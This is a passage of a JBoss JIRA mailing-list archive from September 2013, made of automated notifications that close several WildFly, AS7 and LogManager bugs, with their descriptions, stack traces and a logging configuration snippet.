References: <JIRA.12493288.1369994468000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493288.1369994468000.28784.1379363106588@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1431?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804735#comment-12804735 ] 

RH Bugzilla Integration commented on WFLY-1431:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 969915|https://bugzilla.redhat.com/show_bug.cgi?id=969915] from VERIFIED to CLOSED
                
> org.jboss.as.test.integration.ejb.interceptor.lifecycle.chains.InterceptorLifecycleSFSBTestCase failed
> ------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1431
>                 URL: https://issues.jboss.org/browse/WFLY-1431
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Chao Wang
>            Assignee: Chao Wang
>             Fix For: 8.0.0.Alpha2
>
>         Attachments: WFLY-1431.patch
>
>
> org.jboss.as.test.integration.ejb.interceptor.lifecycle.chains.InterceptorLifecycleSFSBTestCase failed with 
> {noformat} 
> java.lang.AssertionError
> 	at org.junit.Assert.fail(Assert.java:92)
> 	at org.junit.Assert.assertTrue(Assert.java:43)
> 	at org.junit.Assert.assertTrue(Assert.java:54)
> 	at org.jboss.as.test.integration.ejb.interceptor.lifecycle.chains.InterceptorLifecycleSFSBTestCase.testInterceptorPostConstructWithProceed(InterceptorLifecycleSFSBTestCase.java:67)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:601)
> 	at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:45)
> 	at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:15)
> 	at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:42)
> 	at org.jboss.arquillian.junit.Arquillian$6$1.invoke(Arquillian.java:270)
> 	at org.jboss.arquillian.container.test.impl.execution.LocalTestExecuter.execute(LocalTestExecuter.java:60)
> 	at sun.reflect.GeneratedMethodAccessor19.invoke(Unknown Source)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:601)
> 	at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
> 	at org.jboss.arquillian.core.impl.EventContextImpl.invokeObservers(EventContextImpl.java:99)
> 	at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:81)
> 	at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:135)
> 	at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:115)
> 	at org.jboss.arquillian.core.impl.EventImpl.fire(EventImpl.java:67)
> 	at org.jboss.arquillian.container.test.impl.execution.ContainerTestExecuter.execute(ContainerTestExecuter.java:38)
> 	at sun.reflect.GeneratedMethodAccessor18.invoke(Unknown Source)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:601)
> 	at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
> 	at org.jboss.arquillian.core.impl.EventContextImpl.invokeObservers(EventContextImpl.java:99)
> 	at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:81)
> 	at org.jboss.arquillian.test.impl.TestContextHandler.createTestContext(TestContextHandler.java:89)
> 	at sun.reflect.GeneratedMethodAccessor9.invoke(Unknown Source)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:601)
> 	at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
> 	at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
> 	at org.jboss.arquillian.test.impl.TestContextHandler.createSuiteContext(TestContextHandler.java:60)
> 	at sun.reflect.GeneratedMethodAccessor6.invoke(Unknown Source)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:601)
> 	at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
> 	at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
> 	at org.jboss.arquillian.test.impl.TestContextHandler.createClassContext(TestContextHandler.java:75)
> 	at sun.reflect.GeneratedMethodAccessor7.invoke(Unknown Source)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:601)
> 	at org.jboss.arquillian.core.impl.ObserverImpl.invoke(ObserverImpl.java:90)
> 	at org.jboss.arquillian.core.impl.EventContextImpl.proceed(EventContextImpl.java:88)
> 	at org.jboss.arquillian.core.impl.ManagerImpl.fire(ManagerImpl.java:135)
> 	at org.jboss.arquillian.test.impl.EventTestRunnerAdaptor.test(EventTestRunnerAdaptor.java:111)
> 	at org.jboss.arquillian.junit.Arquillian$6.evaluate(Arquillian.java:263)
> 	at org.jboss.arquillian.junit.Arquillian$4.evaluate(Arquillian.java:226)
> 	at org.jboss.arquillian.junit.Arquillian.multiExecute(Arquillian.java:314)
> 	at org.jboss.arquillian.junit.Arquillian.access$100(Arquillian.java:46)
> 	at org.jboss.arquillian.junit.Arquillian$5.evaluate(Arquillian.java:240)
> 	at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:263)
> 	at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:68)
> 	at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:47)
> 	at org.junit.runners.ParentRunner$3.run(ParentRunner.java:231)
> 	at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:60)
> 	at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:229)
> 	at org.junit.runners.ParentRunner.access$000(ParentRunner.java:50)
> 	at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:222)
> 	at org.jboss.arquillian.junit.Arquillian$2.evaluate(Arquillian.java:185)
> 	at org.jboss.arquillian.junit.Arquillian.multiExecute(Arquillian.java:314)
> 	at org.jboss.arquillian.junit.Arquillian.access$100(Arquillian.java:46)
> 	at org.jboss.arquillian.junit.Arquillian$3.evaluate(Arquillian.java:199)
> 	at org.junit.runners.ParentRunner.run(ParentRunner.java:300)
> 	at org.jboss.arquillian.junit.Arquillian.run(Arquillian.java:147)
> 	at org.junit.runner.JUnitCore.run(JUnitCore.java:157)
> 	at org.junit.runner.JUnitCore.run(JUnitCore.java:136)
> 	at org.jboss.arquillian.junit.container.JUnitTestRunner.execute(JUnitTestRunner.java:65)
> 	at org.jboss.arquillian.protocol.jmx.JMXTestRunner.runTestMethodInternal(JMXTestRunner.java:128)
> 	at org.jboss.arquillian.protocol.jmx.JMXTestRunner.runTestMethod(JMXTestRunner.java:107)
> 	at org.jboss.as.arquillian.service.ArquillianService$ExtendedJMXTestRunner.runTestMethod(ArquillianService.java:214)
> 	at sun.reflect.GeneratedMethodAccessor10.invoke(Unknown Source)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:601)
> 	at com.sun.jmx.mbeanserver.StandardMBeanIntrospector.invokeM2(StandardMBeanIntrospector.java:111)
> 	at com.sun.jmx.mbeanserver.StandardMBeanIntrospector.invokeM2(StandardMBeanIntrospector.java:45)
> 	at com.sun.jmx.mbeanserver.MBeanIntrospector.invokeM(MBeanIntrospector.java:235)
> 	at com.sun.jmx.mbeanserver.PerInterface.invoke(PerInterface.java:138)
> 	at com.sun.jmx.mbeanserver.MBeanSupport.invoke(MBeanSupport.java:252)
> 	at com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.invoke(DefaultMBeanServerInterceptor.java:819)
> 	at com.sun.jmx.mbeanserver.JmxMBeanServer.invoke(JmxMBeanServer.java:792)
> 	at org.jboss.as.jmx.PluggableMBeanServerImpl$TcclMBeanServer.invoke(PluggableMBeanServerImpl.java:527)
> 	at org.jboss.as.jmx.PluggableMBeanServerImpl.invoke(PluggableMBeanServerImpl.java:263)
> 	at org.jboss.remotingjmx.protocol.v2.ServerProxy$InvokeHandler.handle(ServerProxy.java:915)
> 	at org.jboss.remotingjmx.protocol.v2.ServerCommon$MessageReciever$1.run(ServerCommon.java:152)
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
> 	at java.lang.Thread.run(Thread.java:722)
> {noformat} 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:25:06 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:25:06 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-126) DeployableContainer kills the
 managed server instead of regular shutdown in stop() on Windows
In-Reply-To: <JIRA.12485562.1361795845000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485562.1361795845000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485562.1361795845000.28788.1379363106726@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-126?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804736#comment-12804736 ] 

RH Bugzilla Integration commented on WFLY-126:
----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 978332|https://bugzilla.redhat.com/show_bug.cgi?id=978332] from VERIFIED to CLOSED
                
> DeployableContainer kills the managed server instead of regular shutdown in stop() on Windows
> ---------------------------------------------------------------------------------------------
>
>                 Key: WFLY-126
>                 URL: https://issues.jboss.org/browse/WFLY-126
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>            Reporter: Radoslav Husar
>            Assignee: Radoslav Husar
>            Priority: Critical
>             Fix For: 8.0.0.Alpha1
>
>
> This might be due to historical reasons for the TS to run faster, but this messes up clustering tests since shutdown is part of the test.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:25:07 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:25:07 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (LOGMGR-68)
 periodic-rotating-file-handler not rotating
In-Reply-To: <JIRA.12490489.1366832314000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12490489.1366832314000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12490489.1366832314000.28804.1379363107614@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/LOGMGR-68?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804740#comment-12804740 ] 

RH Bugzilla Integration commented on LOGMGR-68:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 981544|https://bugzilla.redhat.com/show_bug.cgi?id=981544] from VERIFIED to CLOSED
                
> periodic-rotating-file-handler not rotating
> -------------------------------------------
>
>                 Key: LOGMGR-68
>                 URL: https://issues.jboss.org/browse/LOGMGR-68
>             Project: JBoss Log Manager
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 1.4.0.Final
>         Environment: FreeBSD hostname 10.0-CURRENT FreeBSD 10.0-CURRENT #3 r242434M
>            Reporter: Alexander Yerenkow
>            Assignee: Kyle Lape
>             Fix For: 1.1.2.CR1, 1.3.3.Final, 1.4.2.Final, 1.5.0.Beta1, 2.0.0.Beta1
>
>
> During day there could be few restarts of JBoss 7.2.0
> If there was one, next day logs aren't rotated.
> edb.log (contains record from 22 apr till now)
> edb.log.2013-04-12 (contains record from 06 apr till 12)
> edb.log.2013-04-17 (contains record from 13 apr till 17)
> edb.log.2013-04-19 (contains record from 18 apr till 19)
> Can't see clear system;
> Here's my config:
>             <periodic-rotating-file-handler name="EDB" autoflush="true">
>                 <formatter>
>                     <pattern-formatter pattern="%d %-5p [%c] (%t:%x) %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="edb.log"/>
>                 <suffix value=".yyyy-MM-dd"/>
>                 <append value="true"/>
>             </periodic-rotating-file-handler>
> This all worked as charm in 7.1.1 / 7.1.3.
> Should I run some tests/ gather some info to fix this?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:25:07 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:25:07 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-28) ejb timer service creates empty
 directories for all ejbs including those without timers
In-Reply-To: <JIRA.12482874.1358533091000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12482874.1358533091000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12482874.1358533091000.28810.1379363107956@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-28?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804741#comment-12804741 ] 

RH Bugzilla Integration commented on WFLY-28:
---------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 910193|https://bugzilla.redhat.com/show_bug.cgi?id=910193] from VERIFIED to CLOSED
                
> ejb timer service creates empty directories for all ejbs including those without timers
> ---------------------------------------------------------------------------------------
>
>                 Key: WFLY-28
>                 URL: https://issues.jboss.org/browse/WFLY-28
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>            Reporter: Brad Maxwell
>            Assignee: Stuart Douglas
>            Priority: Minor
>              Labels: directory, ejb, timer
>             Fix For: 8.0.0.Alpha1
>
>
> ejb timer service creates empty directories for all ejbs include those without timers
> Empty directories are being created for all ejbs, even those that do not use timers.
> $JBOSS_HOME/.../data/timer-service-data/

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:27:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-4729) CLONE - Usability issue:
 misleading log saying that Admin Console is active even for slave host
 controller
In-Reply-To: <JIRA.12465831.1336416027000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12465831.1336416027000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12465831.1336416027000.28819.1379363223949@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-4729?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804747#comment-12804747 ] 

RH Bugzilla Integration commented on AS7-4729:
----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 900216|https://bugzilla.redhat.com/show_bug.cgi?id=900216] from VERIFIED to CLOSED
                
> CLONE - Usability issue: misleading log saying that Admin Console is active even for slave host controller
> ----------------------------------------------------------------------------------------------------------
>
>                 Key: AS7-4729
>                 URL: https://issues.jboss.org/browse/AS7-4729
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: Domain Management
>    Affects Versions: 7.1.1.Final
>            Reporter: Jan Martiska
>            Assignee: Kabir Khan
>            Priority: Minor
>             Fix For: 7.1.3.Final (EAP), EAP 6.1.0.Alpha (7.2.0.Final)
>
>
> Even though Admin Console is disabled for slave host controllers, this confusing log still appears during their startup if the host controller has an http-interface defined:
> {noformat}
> [Host Controller] 13:14:31,229 INFO  [org.jboss.as] (Controller Boot Thread) JBAS015951: Admin console listening on http://10.34.32.236:9990
> {noformat}
> Having an http management interface defined for a slave controller seems valid for me, as the http (REST) api IS usable for slave controllers, am I right?
> Is it possible to remove this log?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:27:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:27:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1379) log4j appenders force
 initialization of the appender/handler on reboot
In-Reply-To: <JIRA.12492501.1369245692000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492501.1369245692000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492501.1369245692000.28861.1379363225747@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1379?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804768#comment-12804768 ] 

RH Bugzilla Integration commented on WFLY-1379:
-----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 971190|https://bugzilla.redhat.com/show_bug.cgi?id=971190] from VERIFIED to CLOSED
                
> log4j appenders force initialization of the appender/handler on reboot
> ----------------------------------------------------------------------
>
>                 Key: WFLY-1379
>                 URL: https://issues.jboss.org/browse/WFLY-1379
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: James Perkins
>            Assignee: James Perkins
>             Fix For: 8.0.0.Alpha2
>
>
> Adding a log4j appender works until the server is rebooted. The difference in the class names, {{org.apache.log4j.SomeAppender}} and manually added {{org.jboss.as.logging.logmanager.Log4jAppenderHandler}}, results in the handler being reconfigured.
> This also hits a bug (LOGMGR-58) in the logmanager where null references are can be retrieved before a full commit is invoked.
> Stack trace:
> {code}
> 10:53:44,909 ERROR [stderr] (Controller Boot Thread) java.lang.NullPointerException
> 10:53:44,909 ERROR [stderr] (Controller Boot Thread)    at sun.reflect.GeneratedMethodAccessor5.invoke(Unknown Source)
> 10:53:44,912 ERROR [stderr] (Controller Boot Thread)    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 10:53:44,912 ERROR [stderr] (Controller Boot Thread)    at java.lang.reflect.Method.invoke(Method.java:601)
> 10:53:44,915 ERROR [stderr] (Controller Boot Thread)    at org.jboss.logmanager.config.AbstractPropertyConfiguration$1.applyPostCreate(AbstractPropertyConfiguration.java:218)
> 10:53:44,915 ERROR [stderr] (Controller Boot Thread)    at org.jboss.logmanager.config.AbstractPropertyConfiguration$1.applyPostCreate(AbstractPropertyConfiguration.java:198)
> 10:53:44,916 ERROR [stderr] (Controller Boot Thread)    at org.jboss.logmanager.config.LogContextConfigurationImpl.doApplyPostCreate(LogContextConfigurationImpl.java:316)
> 10:53:44,916 ERROR [stderr] (Controller Boot Thread)    at org.jboss.logmanager.config.LogContextConfigurationImpl.doPrepare(LogContextConfigurationImpl.java:341)
> 10:53:44,916 ERROR [stderr] (Controller Boot Thread)    at org.jboss.logmanager.config.LogContextConfigurationImpl.prepare(LogContextConfigurationImpl.java:290)
> 10:53:44,917 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.logging.logmanager.ConfigurationPersistence.prepare(ConfigurationPersistence.java:282)
> 10:53:44,917 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.logging.LoggingOperations$CommitOperationStepHandler.execute(LoggingOperations.java:97)
> 10:53:44,917 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440)
> 10:53:44,917 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322)
> 10:53:44,918 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229)
> 10:53:44,918 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224)
> 10:53:44,918 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.ModelControllerImpl.boot(ModelControllerImpl.java:296)
> 10:53:44,919 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractControllerService.boot(AbstractControllerService.java:226)
> 10:53:44,919 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.server.ServerService.boot(ServerService.java:342)
> 10:53:44,919 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.server.ServerService.boot(ServerService.java:317)
> 10:53:44,919 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:189)
> 10:53:44,920 ERROR [stderr] (Controller Boot Thread)    at java.lang.Thread.run(Thread.java:722)
> 10:53:44,920 ERROR [stderr] (Controller Boot Thread) java.lang.NullPointerException
> 10:53:44,921 ERROR [stderr] (Controller Boot Thread)    at sun.reflect.GeneratedMethodAccessor6.invoke(Unknown Source)
> 10:53:44,921 ERROR [stderr] (Controller Boot Thread)    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 10:53:44,922 ERROR [stderr] (Controller Boot Thread)    at java.lang.reflect.Method.invoke(Method.java:601)
> 10:53:44,922 ERROR [stderr] (Controller Boot Thread)    at org.jboss.logmanager.config.AbstractPropertyConfiguration$1.applyPostCreate(AbstractPropertyConfiguration.java:218)
> 10:53:44,923 ERROR [stderr] (Controller Boot Thread)    at org.jboss.logmanager.config.AbstractPropertyConfiguration$1.applyPostCreate(AbstractPropertyConfiguration.java:198)
> 10:53:44,923 ERROR [stderr] (Controller Boot Thread)    at org.jboss.logmanager.config.LogContextConfigurationImpl.doApplyPostCreate(LogContextConfigurationImpl.java:316)
> 10:53:44,923 ERROR [stderr] (Controller Boot Thread)    at org.jboss.logmanager.config.LogContextConfigurationImpl.doPrepare(LogContextConfigurationImpl.java:341)
> 10:53:44,924 ERROR [stderr] (Controller Boot Thread)    at org.jboss.logmanager.config.LogContextConfigurationImpl.prepare(LogContextConfigurationImpl.java:290)
> 10:53:44,925 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.logging.logmanager.ConfigurationPersistence.prepare(ConfigurationPersistence.java:282)
> 10:53:44,925 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.logging.LoggingOperations$CommitOperationStepHandler.execute(LoggingOperations.java:97)
> 10:53:44,926 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440)
> 10:53:44,926 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322)
> 10:53:44,926 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229)
> 10:53:44,927 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224)
> 10:53:44,927 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.ModelControllerImpl.boot(ModelControllerImpl.java:296)
> 10:53:44,928 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractControllerService.boot(AbstractControllerService.java:226)
> 10:53:44,928 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.server.ServerService.boot(ServerService.java:342)
> 10:53:44,928 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.server.ServerService.boot(ServerService.java:317)
> 10:53:44,929 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:189)
> 10:53:44,929 ERROR [stderr] (Controller Boot Thread)    at java.lang.Thread.run(Thread.java:722)
> 10:53:44,930 ERROR [stderr] (Controller Boot Thread) java.lang.NullPointerException
> 10:53:44,931 ERROR [stderr] (Controller Boot Thread)    at sun.reflect.GeneratedMethodAccessor7.invoke(Unknown Source)
> 10:53:44,931 ERROR [stderr] (Controller Boot Thread)    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 10:53:44,931 ERROR [stderr] (Controller Boot Thread)    at java.lang.reflect.Method.invoke(Method.java:601)
> 10:53:44,932 ERROR [stderr] (Controller Boot Thread)    at org.jboss.logmanager.config.AbstractPropertyConfiguration$1.applyPostCreate(AbstractPropertyConfiguration.java:218)
> 10:53:44,932 ERROR [stderr] (Controller Boot Thread)    at org.jboss.logmanager.config.AbstractPropertyConfiguration$1.applyPostCreate(AbstractPropertyConfiguration.java:198)
> 10:53:44,933 ERROR [stderr] (Controller Boot Thread)    at org.jboss.logmanager.config.LogContextConfigurationImpl.doApplyPostCreate(LogContextConfigurationImpl.java:316)
> 10:53:44,933 ERROR [stderr] (Controller Boot Thread)    at org.jboss.logmanager.config.LogContextConfigurationImpl.doPrepare(LogContextConfigurationImpl.java:341)
> 10:53:44,933 ERROR [stderr] (Controller Boot Thread)    at org.jboss.logmanager.config.LogContextConfigurationImpl.prepare(LogContextConfigurationImpl.java:290)
> 10:53:44,934 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.logging.logmanager.ConfigurationPersistence.prepare(ConfigurationPersistence.java:282)
> 10:53:44,934 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.logging.LoggingOperations$CommitOperationStepHandler.execute(LoggingOperations.java:97)
> 10:53:44,934 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440)
> 10:53:44,935 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322)
> 10:53:44,935 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229)
> 10:53:44,936 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224)
> 10:53:44,936 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.ModelControllerImpl.boot(ModelControllerImpl.java:296)
> 10:53:44,937 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractControllerService.boot(AbstractControllerService.java:226)
> 10:53:44,937 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.server.ServerService.boot(ServerService.java:342)
> 10:53:44,937 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.server.ServerService.boot(ServerService.java:317)
> 10:53:44,938 ERROR [stderr] (Controller Boot Thread)    at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:189)
> 10:53:44,938 ERROR [stderr] (Controller Boot Thread)    at java.lang.Thread.run(Thread.java:722)
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 16:27:06 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 16:27:06 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-4932) CLONE - Using session
 passivation results in WeldListener: java.lang.NullPointerException on
 normal operation
In-Reply-To: <JIRA.12467752.1338478401000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12467752.1338478401000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12467752.1338478401000.28878.1379363226478@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-4932?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804771#comment-12804771 ] 

RH Bugzilla Integration commented on AS7-4932:
----------------------------------------------

mark yarborough <myarboro at redhat.com> changed the Status of [bug 900549|https://bugzilla.redhat.com/show_bug.cgi?id=900549] from VERIFIED to CLOSED
                
> CLONE - Using session passivation results in WeldListener: java.lang.NullPointerException on normal operation
> -------------------------------------------------------------------------------------------------------------
>
>                 Key: AS7-4932
>                 URL: https://issues.jboss.org/browse/AS7-4932
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: Clustering
>    Affects Versions: 7.1.2.Final (EAP)
>            Reporter: Radoslav Husar
>            Assignee: Paul Ferraro
>            Priority: Blocker
>              Labels: as713tracking
>             Fix For: 7.1.3.Final (EAP)
>
>
> NPE is thrown in roughly 0.36% of HTTP session request processing in the test.
> This results in response code 503 returned to the client with the exception.
> The test is using passivation-enabled WAR of clusterbench 
> https://github.com/rhusar/clusterbench
> Here is a shorter soak test run that uncovered the issue 
> https://hudson.qa.jboss.com/hudson/view/EAP6/view/EAP6-Clustering-Soak/job/eap-6x-soak-http-repl-async-web-perf17only/6/
> {noformat}
